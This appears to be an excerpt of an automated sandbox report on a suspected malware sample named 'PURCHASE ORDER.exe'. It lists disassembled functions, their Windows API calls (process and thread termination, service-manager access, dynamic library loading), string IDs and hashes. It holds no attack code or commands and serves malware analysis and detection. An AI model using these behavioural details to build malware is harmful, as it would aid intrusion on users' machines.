                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CapsDevice$Release
                                                                          • String ID:
                                                                          • API String ID: 1035833867-0
                                                                          • Opcode ID: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                          • Instruction ID: 50bf861fd692b93b916a63282857a41227f0dfa19545bc4f0a59f576ae553c11
                                                                          • Opcode Fuzzy Hash: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                          • Instruction Fuzzy Hash: 560184B1641314BFF6009BA1DC4AF1BBB9CEF55755F01842EFF44A7241D6B098008BA9
                                                                          Function 0044B64F Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                                                                          • EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
                                                                          • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                                                                          • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                                                            • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                                                                          • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                                                                          • LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                          • String ID:
                                                                          • API String ID: 3495660284-0
                                                                          • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                          • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                                                                          • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                          • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                                                                          Function 00437118 Relevance: 9.0, APIs: 6, Instructions: 37windowtimethreadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                                                                          • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                                                                          • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                                                                          • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                                                                          • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                                                                          • CloseHandle.KERNEL32(00000000), ref: 00437174
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                          • String ID:
                                                                          • API String ID: 839392675-0
                                                                          • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                          • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                                                                          • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                          • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                                                                          Function 0043604B Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\PURCHASE ORDER.exe,00000004), ref: 00436055
                                                                          • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                                                                          • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                                                                          • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                                                                          • GetLastError.KERNEL32 ref: 00436081
                                                                          • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                                                                          • String ID:
                                                                          • API String ID: 1690418490-0
                                                                          • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                          • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                                                                          • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                          • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                                                                          Function 00475ACA Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 237comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                          • CoInitialize.OLE32(00000000), ref: 00475B71
                                                                          • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 00475B8A
                                                                          • CoUninitialize.OLE32 ref: 00475D71
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                          • String ID: .lnk$HH
                                                                          • API String ID: 886957087-3121654589
                                                                          • Opcode ID: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                          • Instruction ID: f4d7caca580305710a2a5ca379fd8543151c5613ecc12b631d1ff665410dc3a0
                                                                          • Opcode Fuzzy Hash: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                          • Instruction Fuzzy Hash: B0819D75604300AFD310EF65CC82F5AB3A9EF88704F50892DF658AF2D2D6B5E905CB99
                                                                          Function 0045F132 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$Delete$InfoItem_memset
                                                                          • String ID: 0
                                                                          • API String ID: 1173514356-4108050209
                                                                          • Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                          • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
                                                                          • Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                          • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                                                                          Function 004692E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                                                                          • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                                                                          • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$_wcslen
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 763830540-1403004172
                                                                          • Opcode ID: 509af3a058f8d2ccd68eb6fec456bdedc6df801b0ffdee10d368a4f30f08f539
                                                                          • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                                                                          • Opcode Fuzzy Hash: 509af3a058f8d2ccd68eb6fec456bdedc6df801b0ffdee10d368a4f30f08f539
                                                                          • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
                                                                          Function 00443981 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetStdHandle.KERNEL32(?), ref: 004439B4
                                                                            • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,75922EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                            • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                            • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CurrentHandleProcess$Duplicate
                                                                          • String ID: nul
                                                                          • API String ID: 2124370227-2873401336
                                                                          • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                          • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                                                                          • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                          • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                                                                          Function 00443887 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                                                            • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,75922EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                            • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                            • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CurrentHandleProcess$Duplicate
                                                                          • String ID: nul
                                                                          • API String ID: 2124370227-2873401336
                                                                          • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                          • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                                                                          • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                          • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                                                                          Function 004412AE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowlibraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                                                                          • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                                                                          • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                                                                          • DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                          • String ID: SysAnimate32
                                                                          • API String ID: 3529120543-1011021900
                                                                          • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                          • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                                                                          • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                          • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                                                                          Function 00443009 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                                                                          • TranslateMessage.USER32(?), ref: 0044308B
                                                                          • DispatchMessageW.USER32(?), ref: 00443096
                                                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Message$Peek$DispatchTranslate
                                                                          • String ID: *.*
                                                                          • API String ID: 1795658109-438819550
                                                                          • Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                          • Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
                                                                          • Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                          • Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E
                                                                          Function 004609BD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                            • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                            • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                            • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                            • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                          • GetFocus.USER32 ref: 004609EF
                                                                            • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                                                            • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                                                                          • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                                                                          • EnumChildWindows.USER32(?,00445A31,?), ref: 00460A60
                                                                          • __swprintf.LIBCMT ref: 00460A7A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_wcslen
                                                                          • String ID: %s%d
                                                                          • API String ID: 991886796-1110647743
                                                                          • Opcode ID: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                          • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                                                                          • Opcode Fuzzy Hash: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                          • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                                                                          Function 0040F790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _memset$_sprintf
                                                                          • String ID: %02X
                                                                          • API String ID: 891462717-436463671
                                                                          • Opcode ID: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                          • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                                                                          • Opcode Fuzzy Hash: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                          • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                                                                          Function 0040F3B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 0042CD00
                                                                          • GetOpenFileNameW.COMDLG32 ref: 0042CD51
                                                                            • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PURCHASE ORDER.exe,?,C:\Users\user\Desktop\PURCHASE ORDER.exe,004A8E80,C:\Users\user\Desktop\PURCHASE ORDER.exe,0040F3D2), ref: 0040FFCA
                                                                            • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                                                            • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                                                            • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                                                            • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                                                            • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                                                            • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
                                                                          • String ID: $OH$@OH$X
                                                                          • API String ID: 3491138722-1394974532
                                                                          • Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                          • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                                                                          • Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                          • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                                                                          Function 00463D7E Relevance: 7.6, APIs: 5, Instructions: 141libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                                                                          • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                                                                          • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                                                                          • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                                                                          • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
